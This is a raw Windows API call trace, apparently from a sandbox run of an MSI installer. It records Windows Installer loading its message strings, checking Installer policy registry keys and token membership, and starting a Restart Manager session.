[0122.489] lstrlenW (lpString="ProductLanguage") returned 15 [0122.489] SetLastError (dwErrCode=0x0) [0122.489] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 11") returned 48 [0122.489] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e2b, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Message type: [1], Argument: [2]{, [3]}\r\n") returned 0x29 [0122.489] lstrlenW (lpString="Message type: [1], Argument: [2]{, [3]}") returned 39 [0122.489] lstrlenW (lpString="ProductLanguage") returned 15 [0122.489] SetLastError (dwErrCode=0x0) [0122.489] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 12") returned 48 [0122.490] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e2c, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="=== Logging started: [Date] [Time] ===\r\n") returned 0x29 [0122.490] lstrlenW (lpString="=== Logging started: [Date] [Time] ===") returned 39 [0122.490] lstrlenW (lpString="ProductLanguage") returned 15 [0122.490] SetLastError (dwErrCode=0x0) [0122.490] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 13") returned 48 [0122.491] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e2d, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="=== Logging stopped: [Date] [Time] ===\r\n") returned 0x29 [0122.491] lstrlenW (lpString="=== Logging stopped: [Date] [Time] ===") returned 39 [0122.491] lstrlenW (lpString="ProductLanguage") returned 15 [0122.491] SetLastError (dwErrCode=0x0) [0122.491] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 14") returned 48 [0122.491] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e2e, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Action start [Time]: [1].\r\n") returned 0x1b [0122.491] lstrlenW (lpString="Action start [Time]: [1].") returned 25 [0122.491] lstrlenW (lpString="ProductLanguage") returned 15 [0122.491] SetLastError (dwErrCode=0x0) [0122.491] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 15") returned 48 [0122.491] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e2f, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Action ended [Time]: [1]. Return value [2].\r\n") returned 0x2d [0122.491] lstrlenW (lpString="Action ended [Time]: [1]. Return value [2].") returned 43 [0122.491] lstrlenW (lpString="ProductLanguage") returned 15 [0122.491] SetLastError (dwErrCode=0x0) [0122.492] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 16") returned 48 [0122.492] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e30, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Time remaining: {[1] minutes }{[2] seconds}\r\n") returned 0x2d [0122.492] lstrlenW (lpString="Time remaining: {[1] minutes }{[2] seconds}") returned 43 [0122.492] memcpy (in: _Dst=0x35b170, _Src=0x34b040, _Size=0x20 | out: _Dst=0x35b170) returned 0x35b170 [0122.492] memcpy (in: _Dst=0x37c4b0, _Src=0x34b064, _Size=0x2 | out: _Dst=0x37c4b0) returned 0x37c4b0 [0122.492] memcpy (in: _Dst=0x10ce3a8, _Src=0x37c4b0, _Size=0x2 | out: _Dst=0x10ce3a8) returned 0x10ce3a8 [0122.492] SetLastError (dwErrCode=0x0) [0122.492] memcpy (in: _Dst=0x10ce552, _Src=0x10ce3a8, _Size=0x2 | out: _Dst=0x10ce552) returned 0x10ce552 [0122.492] memcpy (in: _Dst=0x37c4b0, _Src=0x10ce550, _Size=0x6 | out: _Dst=0x37c4b0) returned 0x37c4b0 [0122.492] memcpy (in: _Dst=0x37c4b6, _Src=0x34b068, _Size=0x12 | out: _Dst=0x37c4b6) returned 0x37c4b6 [0122.492] memcpy (in: _Dst=0x35b192, _Src=0x37c4b0, _Size=0x18 | out: _Dst=0x35b192) returned 0x35b192 [0122.492] memcpy (in: _Dst=0x37c4b0, _Src=0x34b080, _Size=0x2 | out: _Dst=0x37c4b0) returned 0x37c4b0 [0122.492] memcpy (in: _Dst=0x10ce3a8, _Src=0x37c4b0, _Size=0x2 | out: _Dst=0x10ce3a8) returned 0x10ce3a8 [0122.492] SetLastError (dwErrCode=0x0) [0122.492] memcpy (in: _Dst=0x10ce552, _Src=0x10ce3a8, _Size=0x2 | out: _Dst=0x10ce552) returned 0x10ce552 [0122.492] memcpy (in: _Dst=0x37c4b0, _Src=0x10ce550, _Size=0x6 | out: _Dst=0x37c4b0) returned 0x37c4b0 [0122.492] memcpy (in: _Dst=0x37c4b6, _Src=0x34b084, _Size=0x10 | out: _Dst=0x37c4b6) returned 0x37c4b6 [0122.492] memcpy (in: _Dst=0x35b1ae, _Src=0x37c4b0, _Size=0x16 | out: _Dst=0x35b1ae) returned 0x35b1ae [0122.492] memcpy (in: _Dst=0x34afc0, _Src=0x35b170, _Size=0x56 | out: _Dst=0x34afc0) returned 0x34afc0 [0122.493] GetCurrentThreadId () returned 0xf50 [0122.493] GetCurrentThreadId () returned 0xf50 [0122.493] SetEvent (hEvent=0x170) returned 1 [0122.495] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.532] lstrlenW (lpString="ProductLanguage") returned 15 [0122.532] SetLastError (dwErrCode=0x0) [0122.533] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 17") returned 48 [0122.533] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e31, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Out of memory. Shut down other applications before retrying.\r\n") returned 0x3e [0122.533] lstrlenW (lpString="Out of memory. Shut down other applications before retrying.") returned 60 [0122.533] memcpy (in: _Dst=0x35b170, _Src=0x32bbd0, _Size=0x78 | out: _Dst=0x35b170) returned 0x35b170 [0122.533] memcpy (in: _Dst=0x32cb70, _Src=0x35b170, _Size=0x78 | out: _Dst=0x32cb70) returned 0x32cb70 [0122.533] GetCurrentThreadId () returned 0xf50 [0122.533] GetCurrentThreadId () returned 0xf50 [0122.533] SetEvent (hEvent=0x170) returned 1 [0122.533] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.580] lstrlenW (lpString="ProductLanguage") returned 15 [0122.580] SetLastError (dwErrCode=0x0) [0122.580] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 18") returned 48 [0122.580] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e32, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Installer is no longer responding.\r\n") returned 0x24 [0122.580] lstrlenW (lpString="Installer is no longer responding.") returned 34 [0122.580] memcpy (in: _Dst=0x35b170, _Src=0x3d6260, _Size=0x44 | out: _Dst=0x35b170) returned 0x35b170 [0122.581] memcpy (in: _Dst=0x3d62d0, _Src=0x35b170, _Size=0x44 | out: _Dst=0x3d62d0) returned 0x3d62d0 [0122.581] GetCurrentThreadId () returned 0xf50 [0122.581] GetCurrentThreadId () returned 0xf50 [0122.581] SetEvent (hEvent=0x170) returned 1 [0122.581] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.583] lstrlenW (lpString="ProductLanguage") returned 15 [0122.583] SetLastError (dwErrCode=0x0) [0122.583] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 19") returned 48 [0122.583] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e33, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Installer stopped prematurely.\r\n") returned 0x20 [0122.583] lstrlenW (lpString="Installer stopped prematurely.") returned 30 [0122.584] memcpy (in: _Dst=0x35b170, _Src=0x376960, _Size=0x3c | out: _Dst=0x35b170) returned 0x35b170 [0122.584] memcpy (in: _Dst=0x3764e0, _Src=0x35b170, _Size=0x3c | out: _Dst=0x3764e0) returned 0x3764e0 [0122.584] GetCurrentThreadId () returned 0xf50 [0122.584] GetCurrentThreadId () returned 0xf50 [0122.584] SetEvent (hEvent=0x170) returned 1 [0122.584] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.586] lstrlenW (lpString="ProductLanguage") returned 15 [0122.586] SetLastError (dwErrCode=0x0) [0122.586] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 20") returned 48 [0122.586] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e34, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Please wait while Windows configures [ProductName]\r\n") returned 0x34 [0122.586] lstrlenW (lpString="Please wait while Windows configures [ProductName]") returned 50 [0122.586] memcpy (in: _Dst=0x35b170, _Src=0x32ed40, _Size=0x4a | out: _Dst=0x35b170) returned 0x35b170 [0122.586] memcpy (in: _Dst=0x35b1ba, _Src=0x32ed8c, _Size=0x16 | out: _Dst=0x35b1ba) returned 0x35b1ba [0122.586] memcpy (in: _Dst=0x10ce3a8, _Src=0x35b1ba, _Size=0x16 | out: _Dst=0x10ce3a8) returned 0x10ce3a8 [0122.586] SetLastError (dwErrCode=0xd) [0122.587] lstrlenW (lpString="ProductName") returned 11 [0122.587] memcpy (in: _Dst=0x10ce550, _Src=0x37e2b0, _Size=0x8e | out: _Dst=0x10ce550) returned 0x10ce550 [0122.587] memcpy (in: _Dst=0x35b1ba, _Src=0x10ce550, _Size=0x8c | out: _Dst=0x35b1ba) returned 0x35b1ba [0122.587] memcpy (in: _Dst=0x35c1d0, _Src=0x35b170, _Size=0xd6 | out: _Dst=0x35c1d0) returned 0x35c1d0 [0122.587] GetCurrentThreadId () returned 0xf50 [0122.587] GetCurrentThreadId () returned 0xf50 [0122.587] SetEvent (hEvent=0x170) returned 1 [0122.587] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.589] lstrlenW (lpString="ProductLanguage") returned 15 [0122.589] SetLastError (dwErrCode=0x0) [0122.589] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 21") returned 48 [0122.589] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e35, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Gathering required information...\r\n") returned 0x23 [0122.589] lstrlenW (lpString="Gathering required information...") returned 33 [0122.589] memcpy (in: _Dst=0x35b170, _Src=0x3d6260, _Size=0x42 | out: _Dst=0x35b170) returned 0x35b170 [0122.589] memcpy (in: _Dst=0x3d62d0, _Src=0x35b170, _Size=0x42 | out: _Dst=0x3d62d0) returned 0x3d62d0 [0122.589] GetCurrentThreadId () returned 0xf50 [0122.590] GetCurrentThreadId () returned 0xf50 [0122.590] SetEvent (hEvent=0x170) returned 1 [0122.590] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.592] lstrlenW (lpString="ProductLanguage") returned 15 [0122.592] SetLastError (dwErrCode=0x0) [0122.592] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 22") returned 48 [0122.593] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e36, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Removing older versions of this application...\r\n") returned 0x30 [0122.593] lstrlenW (lpString="Removing older versions of this application...") returned 46 [0122.593] memcpy (in: _Dst=0x35b170, _Src=0x34b040, _Size=0x5c | out: _Dst=0x35b170) returned 0x35b170 [0122.593] memcpy (in: _Dst=0x34afc0, _Src=0x35b170, _Size=0x5c | out: _Dst=0x34afc0) returned 0x34afc0 [0122.593] GetCurrentThreadId () returned 0xf50 [0122.593] GetCurrentThreadId () returned 0xf50 [0122.593] SetEvent (hEvent=0x170) returned 1 [0122.593] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.593] lstrlenW (lpString="ProductLanguage") returned 15 [0122.593] SetLastError (dwErrCode=0x0) [0122.593] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 23") returned 48 [0122.593] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e37, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Preparing to remove older versions of this application...\r\n") returned 0x3b [0122.594] lstrlenW (lpString="Preparing to remove older versions of this application...") returned 57 [0122.594] memcpy (in: _Dst=0x35b170, _Src=0x32bbd0, _Size=0x72 | out: _Dst=0x35b170) returned 0x35b170 [0122.594] memcpy (in: _Dst=0x32cb70, _Src=0x35b170, _Size=0x72 | out: _Dst=0x32cb70) returned 0x32cb70 [0122.594] GetCurrentThreadId () returned 0xf50 [0122.594] GetCurrentThreadId () returned 0xf50 [0122.594] SetEvent (hEvent=0x170) returned 1 [0122.594] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0122.594] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䇊䌰㹱䒵䈳䗵䈬䠶", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce950, ppstm=0x1 | out: ppstm=0x1) returned 0x80030002 [0122.594] lstrlenW (lpString="AdminProperties") returned 15 [0122.594] GetCurrentThreadId () returned 0xf50 [0122.594] GetCurrentThreadId () returned 0xf50 [0122.594] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce8a0 | out: phkResult=0x10ce8a0*=0x0) returned 0x2 [0122.594] GetCurrentThreadId () returned 0xf50 [0122.594] GetCurrentThreadId () returned 0xf50 [0122.594] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce8a0 | out: phkResult=0x10ce8a0*=0x0) returned 0x2 [0122.595] GetCurrentThreadId () returned 0xf50 [0122.595] GetCurrentThreadId () returned 0xf50 [0122.595] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce610, TokenInformationLength=0x58, ReturnLength=0x10ce600 | out: TokenInformation=0x10ce610, ReturnLength=0x10ce600) returned 1 [0122.595] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce6f0, pSourceSid=0x10ce620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce6f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.595] ConvertSidToStringSidW (in: Sid=0x10ce6f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce6d0 | out: StringSid=0x10ce6d0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.595] LocalFree (hMem=0x3d5df0) returned 0x0 [0122.595] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce8a0 | out: phkResult=0x10ce8a0*=0x0) returned 0x2 [0122.595] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.595] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce958, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce948 | out: pSid=0x10ce948*=0x3b67b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0122.595] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3b67b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce940 | out: IsMember=0x10ce940) returned 1 [0122.595] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.595] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce9f8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce9e8 | out: pSid=0x10ce9e8*=0x3b67b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0122.596] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3b67b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce9e0 | out: IsMember=0x10ce9e0) returned 1 [0122.596] memcpy (in: _Dst=0x3ca9a0, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x3ca9a0) returned 0x3ca9a0 [0122.596] lstrlenW (lpString="[~~~]") returned 5 [0122.596] lstrlenW (lpString="[~~~]") returned 5 [0122.596] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0122.596] memcpy (in: _Dst=0x3d5e00, _Src=0x33d004, _Size=0x50 | out: _Dst=0x3d5e00) returned 0x3d5e00 [0122.597] GlobalUnlock (hMem=0xf40038) returned 0 [0122.597] GlobalReAlloc (hMem=0xf40038, dwBytes=0x174, uFlags=0x2) returned 0xf40038 [0122.597] GlobalLock (hMem=0xf40038) returned 0x3bc3c0 [0122.597] memcpy (in: _Dst=0x3bc3d8, _Src=0x3bc3cc, _Size=0x120 | out: _Dst=0x3bc3d8) returned 0x3bc3d8 [0122.597] memcpy (in: _Dst=0x3ca9a0, _Src=0x33d058, _Size=0x12 | out: _Dst=0x3ca9a0) returned 0x3ca9a0 [0122.597] memcpy (in: _Dst=0x3cbb70, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x3cbb70) returned 0x3cbb70 [0122.598] memcpy (in: _Dst=0x3bc3e4, _Src=0x3bc3d8, _Size=0x120 | out: _Dst=0x3bc3e4) returned 0x3bc3e4 [0122.598] memcpy (in: _Dst=0x3cb510, _Src=0x33d078, _Size=0x10 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.598] memcpy (in: _Dst=0x3cb630, _Src=0x33d08c, _Size=0xe | out: _Dst=0x3cb630) returned 0x3cb630 [0122.598] memcpy (in: _Dst=0x3bc4e0, _Src=0x3bc4d4, _Size=0x30 | out: _Dst=0x3bc4e0) returned 0x3bc4e0 [0122.598] memcpy (in: _Dst=0x3ca9a0, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x3ca9a0) returned 0x3ca9a0 [0122.598] memcpy (in: _Dst=0x35fad0, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x35fad0) returned 0x35fad0 [0122.599] memcpy (in: _Dst=0x3caa60, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x3caa60) returned 0x3caa60 [0122.599] memcpy (in: _Dst=0x3cb510, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.600] memcpy (in: _Dst=0x3cafa0, _Src=0x33d110, _Size=0x1e | out: _Dst=0x3cafa0) returned 0x3cafa0 [0122.600] memcpy (in: _Dst=0x3cb510, _Src=0x33d132, _Size=0x8 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.600] memcpy (in: _Dst=0x3ca4e0, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x3ca4e0) returned 0x3ca4e0 [0122.600] memcpy (in: _Dst=0x35fb70, _Src=0x33d158, _Size=0x26 | out: _Dst=0x35fb70) returned 0x35fb70 [0122.601] GlobalUnlock (hMem=0xf40038) returned 0 [0122.601] GlobalReAlloc (hMem=0xf40038, dwBytes=0x1c8, uFlags=0x2) returned 0xf40038 [0122.601] GlobalLock (hMem=0xf40038) returned 0x3ccba0 [0122.601] memcpy (in: _Dst=0x3ca520, _Src=0x33d182, _Size=0x12 | out: _Dst=0x3ca520) returned 0x3ca520 [0122.601] memcpy (in: _Dst=0x376960, _Src=0x33d198, _Size=0x34 | out: _Dst=0x376960) returned 0x376960 [0122.602] memcpy (in: _Dst=0x3ca8a0, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x3ca8a0) returned 0x3ca8a0 [0122.602] memcpy (in: _Dst=0x3cb720, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x3cb720) returned 0x3cb720 [0122.603] memcpy (in: _Dst=0x3ca920, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x3ca920) returned 0x3ca920 [0122.603] memcpy (in: _Dst=0x3cb720, _Src=0x33d20e, _Size=0xe | out: _Dst=0x3cb720) returned 0x3cb720 [0122.603] memcpy (in: _Dst=0x3cb750, _Src=0x33d220, _Size=0xc | out: _Dst=0x3cb750) returned 0x3cb750 [0122.603] memcpy (in: _Dst=0x3cb780, _Src=0x33d230, _Size=0xe | out: _Dst=0x3cb780) returned 0x3cb780 [0122.604] memcpy (in: _Dst=0x3ca960, _Src=0x33d242, _Size=0x18 | out: _Dst=0x3ca960) returned 0x3ca960 [0122.604] memcpy (in: _Dst=0x3cb780, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x3cb780) returned 0x3cb780 [0122.605] memcpy (in: _Dst=0x3caf20, _Src=0x33d264, _Size=0x1c | out: _Dst=0x3caf20) returned 0x3caf20 [0122.605] memcpy (in: _Dst=0x3cb780, _Src=0x33d284, _Size=0x2 | out: _Dst=0x3cb780) returned 0x3cb780 [0122.605] memcpy (in: _Dst=0x3cb780, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x3cb780) returned 0x3cb780 [0122.605] memcpy (in: _Dst=0x3ca760, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x3ca760) returned 0x3ca760 [0122.606] GlobalUnlock (hMem=0xf40038) returned 0 [0122.606] GlobalReAlloc (hMem=0xf40038, dwBytes=0x24c, uFlags=0x2) returned 0xf40038 [0122.606] GlobalLock (hMem=0xf40038) returned 0x3ccba0 [0122.606] memcpy (in: _Dst=0x3bf960, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x3bf960) returned 0x3bf960 [0122.606] memcpy (in: _Dst=0x3bf870, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x3bf870) returned 0x3bf870 [0122.656] GetCurrentThreadId () returned 0xf50 [0122.656] GetCurrentThreadId () returned 0xf50 [0122.656] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce940 | out: phkResult=0x10ce940*=0x0) returned 0x2 [0122.657] CloseHandle (hObject=0x0) returned 0 [0122.657] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.657] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0122.657] lstrlenW (lpString="RSTRTMGR") returned 8 [0122.657] GetSystemDirectoryW (in: lpBuffer=0x10ce750, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0122.657] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\RSTRTMGR.DLL") returned 0x7fef64b0000 [0123.058] GetProcAddress (hModule=0x7fef64b0000, lpProcName="RmStartSession") returned 0x7fef64b4bfc [0123.058] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.058] RmStartSession () returned 0x0 [0123.192] lstrlenW (lpString="8d45a02c36518c4dbfb3afbe47c228f8") returned 32 [0123.192] lstrlenW (lpString="8d45a02c36518c4dbfb3afbe47c228f8") returned 32 [0123.192] lstrlenW (lpString="MsiRestartManagerSessionKey") returned 27 [0123.193] lstrlenW (lpString="SYSTEM\\CurrentControlSet\\Control\\Session Manager") returned 48 [0123.193] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Control\\Session Manager", ulOptions=0x0, samDesired=0x20119, phkResult=0x34b048 | out: phkResult=0x34b048*=0x268) returned 0x0 [0123.194] RegQueryValueExW (in: hKey=0x268, lpValueName="PendingFileRenameOperations", lpReserved=0x0, lpType=0x10ce8d0, lpData=0x10ce8f0, lpcbData=0x10ce890*=0x100 | out: lpType=0x10ce8d0*=0x0, lpData=0x10ce8f0*=0x0, lpcbData=0x10ce890*=0x100) returned 0x2 [0123.194] lstrlenW (lpString="ALLUSERS") returned 8 [0123.194] _vsnwprintf (in: _Buffer=0x10ce9d8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce9c8 | out: _Buffer="1") returned 1 [0123.194] lstrlenW (lpString="1") returned 1 